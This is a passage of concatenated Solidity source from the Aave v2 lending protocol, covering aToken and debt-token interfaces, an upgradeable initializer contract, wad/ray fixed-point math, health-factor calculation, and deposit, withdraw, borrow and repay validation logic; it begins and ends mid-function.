.mul(debtToCover)
.mul(10**vars.collateralDecimals)
.percentMul(vars.liquidationBonus)
.div(vars.collateralPrice.mul(10**vars.debtAssetDecimals));
if (vars.maxAmountCollateralToLiquidate > userCollateralBalance) {
collateralAmount = userCollateralBalance;
debtAmountNeeded = vars
.collateralPrice
.mul(collateralAmount)
.mul(10**vars.debtAssetDecimals)
.div(vars.debtAssetPrice.mul(10**vars.collateralDecimals))
.percentDiv(vars.liquidationBonus);
} else {
collateralAmount = vars.maxAmountCollateralToLiquidate;
debtAmountNeeded = debtToCover;
}
return (collateralAmount, debtAmountNeeded);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
import {IScaledBalanceToken} from './IScaledBalanceToken.sol';
import {IInitializableAToken} from './IInitializableAToken.sol';
import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
interface IAToken is IERC20, IScaledBalanceToken, IInitializableAToken {
/**
* @dev Emitted after the mint action
* @param from The address performing the mint
* @param value The amount being
* @param index The new liquidity index of the reserve
**/
event Mint(address indexed from, uint256 value, uint256 index);
/**
* @dev Mints `amount` aTokens to `user`
* @param user The address receiving the minted tokens
* @param amount The amount of tokens getting minted
* @param index The new liquidity index of the reserve
* @return `true` if the the previous balance of the user was 0
*/
function mint(
address user,
uint256 amount,
uint256 index
) external returns (bool);
/**
* @dev Emitted after aTokens are burned
* @param from The owner of the aTokens, getting them burned
* @param target The address that will receive the underlying
* @param value The amount being burned
* @param index The new liquidity index of the reserve
**/
event Burn(address indexed from, address indexed target, uint256 value, uint256 index);
/**
* @dev Emitted during the transfer action
* @param from The user whose tokens are being transferred
* @param to The recipient
* @param value The amount being transferred
* @param index The new liquidity index of the reserve
**/
event BalanceTransfer(address indexed from, address indexed to, uint256 value, uint256 index);
/**
* @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying`
* @param user The owner of the aTokens, getting them burned
* @param receiverOfUnderlying The address that will receive the underlying
* @param amount The amount being burned
* @param index The new liquidity index of the reserve
**/
function burn(
address user,
address receiverOfUnderlying,
uint256 amount,
uint256 index
) external;
/**
* @dev Mints aTokens to the reserve treasury
* @param amount The amount of tokens getting minted
* @param index The new liquidity index of the reserve
*/
function mintToTreasury(uint256 amount, uint256 index) external;
/**
* @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken
* @param from The address getting liquidated, current owner of the aTokens
* @param to The recipient
* @param value The amount of tokens getting transferred
**/
function transferOnLiquidation(
address from,
address to,
uint256 value
) external;
/**
* @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer
* assets in borrow(), withdraw() and flashLoan()
* @param user The recipient of the underlying
* @param amount The amount getting transferred
* @return The amount transferred
**/
function transferUnderlyingTo(address user, uint256 amount) external returns (uint256);
/**
* @dev Invoked to execute actions on the aToken side after a repayment.
* @param user The user executing the repayment
* @param amount The amount getting repaid
**/
function handleRepayment(address user, uint256 amount) external;
/**
* @dev Returns the address of the incentives controller contract
**/
function getIncentivesController() external view returns (IAaveIncentivesController);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IInitializableDebtToken} from './IInitializableDebtToken.sol';
import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
/**
* @title IStableDebtToken
* @notice Defines the interface for the stable debt token
* @dev It does not inherit from IERC20 to save in code size
* @author Aave
**/
interface IStableDebtToken is IInitializableDebtToken {
/**
* @dev Emitted when new stable debt is minted
* @param user The address of the user who triggered the minting
* @param onBehalfOf The recipient of stable debt tokens
* @param amount The amount minted
* @param currentBalance The current balance of the user
* @param balanceIncrease The increase in balance since the last action of the user
* @param newRate The rate of the debt after the minting
* @param avgStableRate The new average stable rate after the minting
* @param newTotalSupply The new total supply of the stable debt token after the action
**/
event Mint(
address indexed user,
address indexed onBehalfOf,
uint256 amount,
uint256 currentBalance,
uint256 balanceIncrease,
uint256 newRate,
uint256 avgStableRate,
uint256 newTotalSupply
);
/**
* @dev Emitted when new stable debt is burned
* @param user The address of the user
* @param amount The amount being burned
* @param currentBalance The current balance of the user
* @param balanceIncrease The the increase in balance since the last action of the user
* @param avgStableRate The new average stable rate after the burning
* @param newTotalSupply The new total supply of the stable debt token after the action
**/
event Burn(
address indexed user,
uint256 amount,
uint256 currentBalance,
uint256 balanceIncrease,
uint256 avgStableRate,
uint256 newTotalSupply
);
/**
* @dev Mints debt token to the `onBehalfOf` address.
* - The resulting rate is the weighted average between the rate of the new debt
* and the rate of the previous debt
* @param user The address receiving the borrowed underlying, being the delegatee in case
* of credit delegate, or same as `onBehalfOf` otherwise
* @param onBehalfOf The address receiving the debt tokens
* @param amount The amount of debt tokens to mint
* @param rate The rate of the debt being minted
**/
function mint(
address user,
address onBehalfOf,
uint256 amount,
uint256 rate
) external returns (bool);
/**
* @dev Burns debt of `user`
* - The resulting rate is the weighted average between the rate of the new debt
* and the rate of the previous debt
* @param user The address of the user getting his debt burned
* @param amount The amount of debt tokens getting burned
**/
function burn(address user, uint256 amount) external;
/**
* @dev Returns the average rate of all the stable rate loans.
* @return The average stable rate
**/
function getAverageStableRate() external view returns (uint256);
/**
* @dev Returns the stable rate of the user debt
* @return The stable rate of the user
**/
function getUserStableRate(address user) external view returns (uint256);
/**
* @dev Returns the timestamp of the last update of the user
* @return The timestamp
**/
function getUserLastUpdated(address user) external view returns (uint40);
/**
* @dev Returns the principal, the total supply and the average stable rate
**/
function getSupplyData()
external
view
returns (
uint256,
uint256,
uint256,
uint40
);
/**
* @dev Returns the timestamp of the last update of the total supply
* @return The timestamp
**/
function getTotalSupplyLastUpdated() external view returns (uint40);
/**
* @dev Returns the total supply and the average stable rate
**/
function getTotalSupplyAndAvgRate() external view returns (uint256, uint256);
/**
* @dev Returns the principal debt balance of the user
* @return The debt balance of the user since the last burn/mint action
**/
function principalBalanceOf(address user) external view returns (uint256);
/**
* @dev Returns the address of the incentives controller contract
**/
function getIncentivesController() external view returns (IAaveIncentivesController);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IScaledBalanceToken} from './IScaledBalanceToken.sol';
import {IInitializableDebtToken} from './IInitializableDebtToken.sol';
import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
/**
* @title IVariableDebtToken
* @author Aave
* @notice Defines the basic interface for a variable debt token.
**/
interface IVariableDebtToken is IScaledBalanceToken, IInitializableDebtToken {
/**
* @dev Emitted after the mint action
* @param from The address performing the mint
* @param onBehalfOf The address of the user on which behalf minting has been performed
* @param value The amount to be minted
* @param index The last index of the reserve
**/
event Mint(address indexed from, address indexed onBehalfOf, uint256 value, uint256 index);
/**
* @dev Mints debt token to the `onBehalfOf` address
* @param user The address receiving the borrowed underlying, being the delegatee in case
* of credit delegate, or same as `onBehalfOf` otherwise
* @param onBehalfOf The address receiving the debt tokens
* @param amount The amount of debt being minted
* @param index The variable debt index of the reserve
* @return `true` if the the previous balance of the user is 0
**/
function mint(
address user,
address onBehalfOf,
uint256 amount,
uint256 index
) external returns (bool);
/**
* @dev Emitted when variable debt is burnt
* @param user The user which debt has been burned
* @param amount The amount of debt being burned
* @param index The index of the user
**/
event Burn(address indexed user, uint256 amount, uint256 index);
/**
* @dev Burns user variable debt
* @param user The user which debt is burnt
* @param index The variable debt index of the reserve
**/
function burn(
address user,
uint256 amount,
uint256 index
) external;
/**
* @dev Returns the address of the incentives controller contract
**/
function getIncentivesController() external view returns (IAaveIncentivesController);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title ILendingPoolCollateralManager
* @author Aave
* @notice Defines the actions involving management of collateral in the protocol.
**/
interface ILendingPoolCollateralManager {
/**
* @dev Emitted when a borrower is liquidated
* @param collateral The address of the collateral being liquidated
* @param principal The address of the reserve
* @param user The address of the user being liquidated
* @param debtToCover The total amount liquidated
* @param liquidatedCollateralAmount The amount of collateral being liquidated
* @param liquidator The address of the liquidator
* @param receiveAToken true if the liquidator wants to receive aTokens, false otherwise
**/
event LiquidationCall(
address indexed collateral,
address indexed principal,
address indexed user,
uint256 debtToCover,
uint256 liquidatedCollateralAmount,
address liquidator,
bool receiveAToken
);
/**
* @dev Emitted when a reserve is disabled as collateral for an user
* @param reserve The address of the reserve
* @param user The address of the user
**/
event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user);
/**
* @dev Emitted when a reserve is enabled as collateral for an user
* @param reserve The address of the reserve
* @param user The address of the user
**/
event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user);
/**
* @dev Users can invoke this function to liquidate an undercollateralized position.
* @param collateral The address of the collateral to liquidated
* @param principal The address of the principal reserve
* @param user The address of the borrower
* @param debtToCover The amount of principal that the liquidator wants to repay
* @param receiveAToken true if the liquidators wants to receive the aTokens, false if
* he wants to receive the underlying asset directly
**/
function liquidationCall(
address collateral,
address principal,
address user,
uint256 debtToCover,
bool receiveAToken
) external returns (uint256, string memory);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title VersionedInitializable
*
* @dev Helper contract to implement initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*
* @author Aave, inspired by the OpenZeppelin Initializable contract
*/
abstract contract VersionedInitializable {
/**
* @dev Indicates that the contract has been initialized.
*/
uint256 private lastInitializedRevision = 0;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
uint256 revision = getRevision();
require(
initializing || isConstructor() || revision > lastInitializedRevision,
'Contract instance has already been initialized'
);
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
lastInitializedRevision = revision;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/**
* @dev returns the revision number of the contract
* Needs to be defined in the inherited class as a constant.
**/
function getRevision() internal pure virtual returns (uint256);
/**
* @dev Returns true if and only if the function is running in the constructor
**/
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
//solium-disable-next-line
assembly {
cs := extcodesize(address())
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol';
import {ReserveLogic} from './ReserveLogic.sol';
import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol';
import {UserConfiguration} from '../configuration/UserConfiguration.sol';
import {WadRayMath} from '../math/WadRayMath.sol';
import {PercentageMath} from '../math/PercentageMath.sol';
import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol';
import {DataTypes} from '../types/DataTypes.sol';
/**
* @title GenericLogic library
* @author Aave
* @title Implements protocol-level logic to calculate and validate the state of a user
*/
library GenericLogic {
using ReserveLogic for DataTypes.ReserveData;
using SafeMath for uint256;
using WadRayMath for uint256;
using PercentageMath for uint256;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
using UserConfiguration for DataTypes.UserConfigurationMap;
uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1 ether;
struct balanceDecreaseAllowedLocalVars {
uint256 decimals;
uint256 liquidationThreshold;
uint256 totalCollateralInETH;
uint256 totalDebtInETH;
uint256 avgLiquidationThreshold;
uint256 amountToDecreaseInETH;
uint256 collateralBalanceAfterDecrease;
uint256 liquidationThresholdAfterDecrease;
uint256 healthFactorAfterDecrease;
bool reserveUsageAsCollateralEnabled;
}
/**
* @dev Checks if a specific balance decrease is allowed
* (i.e. doesn't bring the user borrow position health factor under HEALTH_FACTOR_LIQUIDATION_THRESHOLD)
* @param asset The address of the underlying asset of the reserve
* @param user The address of the user
* @param amount The amount to decrease
* @param reservesData The data of all the reserves
* @param userConfig The user configuration
* @param reserves The list of all the active reserves
* @param oracle The address of the oracle contract
* @return true if the decrease of the balance is allowed
**/
function balanceDecreaseAllowed(
address asset,
address user,
uint256 amount,
mapping(address => DataTypes.ReserveData) storage reservesData,
DataTypes.UserConfigurationMap calldata userConfig,
mapping(uint256 => address) storage reserves,
uint256 reservesCount,
address oracle
) external view returns (bool) {
if (!userConfig.isBorrowingAny() || !userConfig.isUsingAsCollateral(reservesData[asset].id)) {
return true;
}
balanceDecreaseAllowedLocalVars memory vars;
(, vars.liquidationThreshold, , vars.decimals, ) = reservesData[asset]
.configuration
.getParams();
if (vars.liquidationThreshold == 0) {
return true;
}
(
vars.totalCollateralInETH,
vars.totalDebtInETH,
,
vars.avgLiquidationThreshold,
) = calculateUserAccountData(user, reservesData, userConfig, reserves, reservesCount, oracle);
if (vars.totalDebtInETH == 0) {
return true;
}
vars.amountToDecreaseInETH = IPriceOracleGetter(oracle).getAssetPrice(asset).mul(amount).div(
10**vars.decimals
);
vars.collateralBalanceAfterDecrease = vars.totalCollateralInETH.sub(vars.amountToDecreaseInETH);
//if there is a borrow, there can't be 0 collateral
if (vars.collateralBalanceAfterDecrease == 0) {
return false;
}
vars.liquidationThresholdAfterDecrease = vars
.totalCollateralInETH
.mul(vars.avgLiquidationThreshold)
.sub(vars.amountToDecreaseInETH.mul(vars.liquidationThreshold))
.div(vars.collateralBalanceAfterDecrease);
uint256 healthFactorAfterDecrease =
calculateHealthFactorFromBalances(
vars.collateralBalanceAfterDecrease,
vars.totalDebtInETH,
vars.liquidationThresholdAfterDecrease
);
return healthFactorAfterDecrease >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD;
}
struct CalculateUserAccountDataVars {
uint256 reserveUnitPrice;
uint256 tokenUnit;
uint256 compoundedLiquidityBalance;
uint256 compoundedBorrowBalance;
uint256 decimals;
uint256 ltv;
uint256 liquidationThreshold;
uint256 i;
uint256 healthFactor;
uint256 totalCollateralInETH;
uint256 totalDebtInETH;
uint256 avgLtv;
uint256 avgLiquidationThreshold;
uint256 reservesLength;
bool healthFactorBelowThreshold;
address currentReserveAddress;
bool usageAsCollateralEnabled;
bool userUsesReserveAsCollateral;
}
/**
* @dev Calculates the user data across the reserves.
* this includes the total liquidity/collateral/borrow balances in ETH,
* the average Loan To Value, the average Liquidation Ratio, and the Health factor.
* @param user The address of the user
* @param reservesData Data of all the reserves
* @param userConfig The configuration of the user
* @param reserves The list of the available reserves
* @param oracle The price oracle address
* @return The total collateral and total debt of the user in ETH, the avg ltv, liquidation threshold and the HF
**/
function calculateUserAccountData(
address user,
mapping(address => DataTypes.ReserveData) storage reservesData,
DataTypes.UserConfigurationMap memory userConfig,
mapping(uint256 => address) storage reserves,
uint256 reservesCount,
address oracle
)
internal
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
CalculateUserAccountDataVars memory vars;
if (userConfig.isEmpty()) {
return (0, 0, 0, 0, uint256(-1));
}
for (vars.i = 0; vars.i < reservesCount; vars.i++) {
if (!userConfig.isUsingAsCollateralOrBorrowing(vars.i)) {
continue;
}
vars.currentReserveAddress = reserves[vars.i];
DataTypes.ReserveData storage currentReserve = reservesData[vars.currentReserveAddress];
(vars.ltv, vars.liquidationThreshold, , vars.decimals, ) = currentReserve
.configuration
.getParams();
vars.tokenUnit = 10**vars.decimals;
vars.reserveUnitPrice = IPriceOracleGetter(oracle).getAssetPrice(vars.currentReserveAddress);
if (vars.liquidationThreshold != 0 && userConfig.isUsingAsCollateral(vars.i)) {
vars.compoundedLiquidityBalance = IERC20(currentReserve.aTokenAddress).balanceOf(user);
uint256 liquidityBalanceETH =
vars.reserveUnitPrice.mul(vars.compoundedLiquidityBalance).div(vars.tokenUnit);
vars.totalCollateralInETH = vars.totalCollateralInETH.add(liquidityBalanceETH);
vars.avgLtv = vars.avgLtv.add(liquidityBalanceETH.mul(vars.ltv));
vars.avgLiquidationThreshold = vars.avgLiquidationThreshold.add(
liquidityBalanceETH.mul(vars.liquidationThreshold)
);
}
if (userConfig.isBorrowing(vars.i)) {
vars.compoundedBorrowBalance = IERC20(currentReserve.stableDebtTokenAddress).balanceOf(
user
);
vars.compoundedBorrowBalance = vars.compoundedBorrowBalance.add(
IERC20(currentReserve.variableDebtTokenAddress).balanceOf(user)
);
vars.totalDebtInETH = vars.totalDebtInETH.add(
vars.reserveUnitPrice.mul(vars.compoundedBorrowBalance).div(vars.tokenUnit)
);
}
}
vars.avgLtv = vars.totalCollateralInETH > 0 ? vars.avgLtv.div(vars.totalCollateralInETH) : 0;
vars.avgLiquidationThreshold = vars.totalCollateralInETH > 0
? vars.avgLiquidationThreshold.div(vars.totalCollateralInETH)
: 0;
vars.healthFactor = calculateHealthFactorFromBalances(
vars.totalCollateralInETH,
vars.totalDebtInETH,
vars.avgLiquidationThreshold
);
return (
vars.totalCollateralInETH,
vars.totalDebtInETH,
vars.avgLtv,
vars.avgLiquidationThreshold,
vars.healthFactor
);
}
/**
* @dev Calculates the health factor from the corresponding balances
* @param totalCollateralInETH The total collateral in ETH
* @param totalDebtInETH The total debt in ETH
* @param liquidationThreshold The avg liquidation threshold
* @return The health factor calculated from the balances provided
**/
function calculateHealthFactorFromBalances(
uint256 totalCollateralInETH,
uint256 totalDebtInETH,
uint256 liquidationThreshold
) internal pure returns (uint256) {
if (totalDebtInETH == 0) return uint256(-1);
return (totalCollateralInETH.percentMul(liquidationThreshold)).wadDiv(totalDebtInETH);
}
/**
* @dev Calculates the equivalent amount in ETH that an user can borrow, depending on the available collateral and the
* average Loan To Value
* @param totalCollateralInETH The total collateral in ETH
* @param totalDebtInETH The total borrow balance
* @param ltv The average loan to value
* @return the amount available to borrow in ETH for the user
**/
function calculateAvailableBorrowsETH(
uint256 totalCollateralInETH,
uint256 totalDebtInETH,
uint256 ltv
) internal pure returns (uint256) {
uint256 availableBorrowsETH = totalCollateralInETH.percentMul(ltv);
if (availableBorrowsETH < totalDebtInETH) {
return 0;
}
availableBorrowsETH = availableBorrowsETH.sub(totalDebtInETH);
return availableBorrowsETH;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol';
import {DataTypes} from '../types/DataTypes.sol';
/**
* @title Helpers library
* @author Aave
*/
library Helpers {
/**
* @dev Fetches the user current stable and variable debt balances
* @param user The user address
* @param reserve The reserve data object
* @return The stable and variable debt balance
**/
function getUserCurrentDebt(address user, DataTypes.ReserveData storage reserve)
internal
view
returns (uint256, uint256)
{
return (
IERC20(reserve.stableDebtTokenAddress).balanceOf(user),
IERC20(reserve.variableDebtTokenAddress).balanceOf(user)
);
}
function getUserCurrentDebtMemory(address user, DataTypes.ReserveData memory reserve)
internal
view
returns (uint256, uint256)
{
return (
IERC20(reserve.stableDebtTokenAddress).balanceOf(user),
IERC20(reserve.variableDebtTokenAddress).balanceOf(user)
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Errors} from '../helpers/Errors.sol';
/**
* @title WadRayMath library
* @author Aave
* @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
**/
library WadRayMath {
uint256 internal constant WAD = 1e18;
uint256 internal constant halfWAD = WAD / 2;
uint256 internal constant RAY = 1e27;
uint256 internal constant halfRAY = RAY / 2;
uint256 internal constant WAD_RAY_RATIO = 1e9;
/**
* @return One ray, 1e27
**/
function ray() internal pure returns (uint256) {
return RAY;
}
/**
* @return One wad, 1e18
**/
function wad() internal pure returns (uint256) {
return WAD;
}
/**
* @return Half ray, 1e27/2
**/
function halfRay() internal pure returns (uint256) {
return halfRAY;
}
/**
* @return Half ray, 1e18/2
**/
function halfWad() internal pure returns (uint256) {
return halfWAD;
}
/**
* @dev Multiplies two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a*b, in wad
**/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + halfWAD) / WAD;
}
/**
* @dev Divides two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a/b, in wad
**/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * WAD + halfB) / b;
}
/**
* @dev Multiplies two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a*b, in ray
**/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + halfRAY) / RAY;
}
/**
* @dev Divides two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a/b, in ray
**/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * RAY + halfB) / b;
}
/**
* @dev Casts ray down to wad
* @param a Ray
* @return a casted to wad, rounded half up to the nearest wad
**/
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = WAD_RAY_RATIO / 2;
uint256 result = halfRatio + a;
require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW);
return result / WAD_RAY_RATIO;
}
/**
* @dev Converts wad up to ray
* @param a Wad
* @return a converted in ray
**/
function wadToRay(uint256 a) internal pure returns (uint256) {
uint256 result = a * WAD_RAY_RATIO;
require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW);
return result;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol';
import {ReserveLogic} from './ReserveLogic.sol';
import {GenericLogic} from './GenericLogic.sol';
import {WadRayMath} from '../math/WadRayMath.sol';
import {PercentageMath} from '../math/PercentageMath.sol';
import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol';
import {UserConfiguration} from '../configuration/UserConfiguration.sol';
import {Errors} from '../helpers/Errors.sol';
import {Helpers} from '../helpers/Helpers.sol';
import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol';
import {DataTypes} from '../types/DataTypes.sol';
/**
* @title ReserveLogic library
* @author Aave
* @notice Implements functions to validate the different actions of the protocol
*/
library ValidationLogic {
using ReserveLogic for DataTypes.ReserveData;
using SafeMath for uint256;
using WadRayMath for uint256;
using PercentageMath for uint256;
using SafeERC20 for IERC20;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
using UserConfiguration for DataTypes.UserConfigurationMap;
uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 4000;
uint256 public constant REBALANCE_UP_USAGE_RATIO_THRESHOLD = 0.95 * 1e27; //usage ratio of 95%
/**
* @dev Validates a deposit action
* @param reserve The reserve object on which the user is depositing
* @param amount The amount to be deposited
*/
function validateDeposit(DataTypes.ReserveData storage reserve, uint256 amount) external view {
(bool isActive, bool isFrozen, , ) = reserve.configuration.getFlags();
require(amount != 0, Errors.VL_INVALID_AMOUNT);
require(isActive, Errors.VL_NO_ACTIVE_RESERVE);
require(!isFrozen, Errors.VL_RESERVE_FROZEN);
}
/**
* @dev Validates a withdraw action
* @param reserveAddress The address of the reserve
* @param amount The amount to be withdrawn
* @param userBalance The balance of the user
* @param reservesData The reserves state
* @param userConfig The user configuration
* @param reserves The addresses of the reserves
* @param reservesCount The number of reserves
* @param oracle The price oracle
*/
function validateWithdraw(
address reserveAddress,
uint256 amount,
uint256 userBalance,
mapping(address => DataTypes.ReserveData) storage reservesData,
DataTypes.UserConfigurationMap storage userConfig,
mapping(uint256 => address) storage reserves,
uint256 reservesCount,
address oracle
) external view {
require(amount != 0, Errors.VL_INVALID_AMOUNT);
require(amount <= userBalance, Errors.VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE);
(bool isActive, , , ) = reservesData[reserveAddress].configuration.getFlags();
require(isActive, Errors.VL_NO_ACTIVE_RESERVE);
require(
GenericLogic.balanceDecreaseAllowed(
reserveAddress,
msg.sender,
amount,
reservesData,
userConfig,
reserves,
reservesCount,
oracle
),
Errors.VL_TRANSFER_NOT_ALLOWED
);
}
struct ValidateBorrowLocalVars {
uint256 currentLtv;
uint256 currentLiquidationThreshold;
uint256 amountOfCollateralNeededETH;
uint256 userCollateralBalanceETH;
uint256 userBorrowBalanceETH;
uint256 availableLiquidity;
uint256 healthFactor;
bool isActive;
bool isFrozen;
bool borrowingEnabled;
bool stableRateBorrowingEnabled;
}
/**
* @dev Validates a borrow action
* @param asset The address of the asset to borrow
* @param reserve The reserve state from which the user is borrowing
* @param userAddress The address of the user
* @param amount The amount to be borrowed
* @param amountInETH The amount to be borrowed, in ETH
* @param interestRateMode The interest rate mode at which the user is borrowing
* @param maxStableLoanPercent The max amount of the liquidity that can be borrowed at stable rate, in percentage
* @param reservesData The state of all the reserves
* @param userConfig The state of the user for the specific reserve
* @param reserves The addresses of all the active reserves
* @param oracle The price oracle
*/
function validateBorrow(
address asset,
DataTypes.ReserveData storage reserve,
address userAddress,
uint256 amount,
uint256 amountInETH,
uint256 interestRateMode,
uint256 maxStableLoanPercent,
mapping(address => DataTypes.ReserveData) storage reservesData,
DataTypes.UserConfigurationMap storage userConfig,
mapping(uint256 => address) storage reserves,
uint256 reservesCount,
address oracle
) external view {
ValidateBorrowLocalVars memory vars;
(vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled) = reserve
.configuration
.getFlags();
require(vars.isActive, Errors.VL_NO_ACTIVE_RESERVE);
require(!vars.isFrozen, Errors.VL_RESERVE_FROZEN);
require(amount != 0, Errors.VL_INVALID_AMOUNT);
require(vars.borrowingEnabled, Errors.VL_BORROWING_NOT_ENABLED);
//validate interest rate mode
require(
uint256(DataTypes.InterestRateMode.VARIABLE) == interestRateMode ||
uint256(DataTypes.InterestRateMode.STABLE) == interestRateMode,
Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED
);
(
vars.userCollateralBalanceETH,
vars.userBorrowBalanceETH,
vars.currentLtv,
vars.currentLiquidationThreshold,
vars.healthFactor
) = GenericLogic.calculateUserAccountData(
userAddress,
reservesData,
userConfig,
reserves,
reservesCount,
oracle
);
require(vars.userCollateralBalanceETH > 0, Errors.VL_COLLATERAL_BALANCE_IS_0);
require(
vars.healthFactor > GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD,
Errors.VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD
);
//add the current already borrowed amount to the amount requested to calculate the total collateral needed.
vars.amountOfCollateralNeededETH = vars.userBorrowBalanceETH.add(amountInETH).percentDiv(
vars.currentLtv
); //LTV is calculated in percentage
require(
vars.amountOfCollateralNeededETH <= vars.userCollateralBalanceETH,
Errors.VL_COLLATERAL_CANNOT_COVER_NEW_BORROW
);
/**
* Following conditions need to be met if the user is borrowing at a stable rate:
* 1. Reserve must be enabled for stable rate borrowing
* 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency
* they are borrowing, to prevent abuses.
* 3. Users will be able to borrow only a portion of the total available liquidity
**/
if (interestRateMode == uint256(DataTypes.InterestRateMode.STABLE)) {
//check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve
require(vars.stableRateBorrowingEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED);
require(
!userConfig.isUsingAsCollateral(reserve.id) ||
reserve.configuration.getLtv() == 0 ||
amount > IERC20(reserve.aTokenAddress).balanceOf(userAddress),
Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY
);
vars.availableLiquidity = IERC20(asset).balanceOf(reserve.aTokenAddress);
//calculate the max available loan size in stable rate mode as a percentage of the
//available liquidity
uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(maxStableLoanPercent);
require(amount <= maxLoanSizeStable, Errors.VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE);
}
}
/**
* @dev Validates a repay action
* @param reserve The reserve state from which the user is repaying
* @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1)
* @param onBehalfOf The address of the user msg.sender is repaying for
* @param stableDebt The borrow balance of the user
* @param variableDebt The borrow balance of the user
*/
function validateRepay(
DataTypes.ReserveData storage reserve,
uint256 amountSent,
DataTypes.InterestRateMode rateMode,
address onBehalfOf,
uint256 stableDebt,
uint256 variableDebt
) external view {
bool isActive = reserve.configuration.getActive();
require(isActive, Errors.VL_NO_ACTIVE_RESERVE);
require(amountSent > 0, Errors.VL_INVALID_AMOUNT);
require(
(stableDebt > 0 &&
DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE) ||
(variableDebt > 0 &&
DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.VARIABLE),
